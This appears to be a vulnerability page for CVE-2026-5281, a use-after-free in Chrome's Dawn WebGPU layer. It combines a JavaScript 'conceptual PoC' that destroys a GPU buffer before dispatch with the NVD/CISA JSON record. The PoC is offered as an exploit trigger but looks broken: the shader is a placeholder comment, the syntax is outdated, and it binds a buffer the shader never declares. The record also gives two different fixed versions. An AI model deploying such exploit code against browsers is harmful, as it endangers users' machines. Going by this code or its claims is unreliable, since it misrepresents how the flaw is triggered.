CVE-2026-5281

// Conceptual PoC for CVE-2026-5281 (Dawn UAF) // This demonstrates the trigger mechanism using WebGPU. async function trigger_uaf() { if (!navigator.gpu) { console.log("WebGPU not supported"); return; } const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); // Step 1: Create a buffer that will be manipulated const bufferSize = 1024; const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC, }); const commandEncoder = device.createCommandEncoder(); // Step 2: Create a compute shader that interacts with the buffer const shaderModule = device.createShaderModule({ code: ` @stage(compute) @workgroup_size(1) fn main() { // Malicious operation interacting with the buffer } ` }); const computePipeline = device.createComputePipeline({ layout: 'auto', compute: { module: shaderModule, entryPoint: 'main', }, }); const passEncoder = commandEncoder.beginComputePass(); passEncoder.setPipeline(computePipeline); // Bind the buffer to the pipeline const bindGroup = device.createBindGroup({ layout: computePipeline.getBindGroupLayout(0), entries: [{ binding: 0, resource: { buffer: buffer } }], }); passEncoder.setBindGroup(0, bindGroup); // Step 3: Destroy the buffer while it might still be referenced in the command queue // This simulates the Use-After-Free condition in Dawn buffer.destroy(); passEncoder.dispatchWorkgroups(1); passEncoder.end(); // Submit commands to attempt triggering the crash or exploit device.queue.submit([commandEncoder.finish()]); console.log("PoC executed. Check for browser crash or exploit behavior."); } trigger_uaf();

{"cve": {"id": "CVE-2026-5281", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:01.440", "lastModified": "2026-04-02T13:16:01.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Dawn in Google Chrome prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-04-01", "cisaActionDue": "2026-04-15", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Google Dawn Use-After-Free Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/491518608", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-5281", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}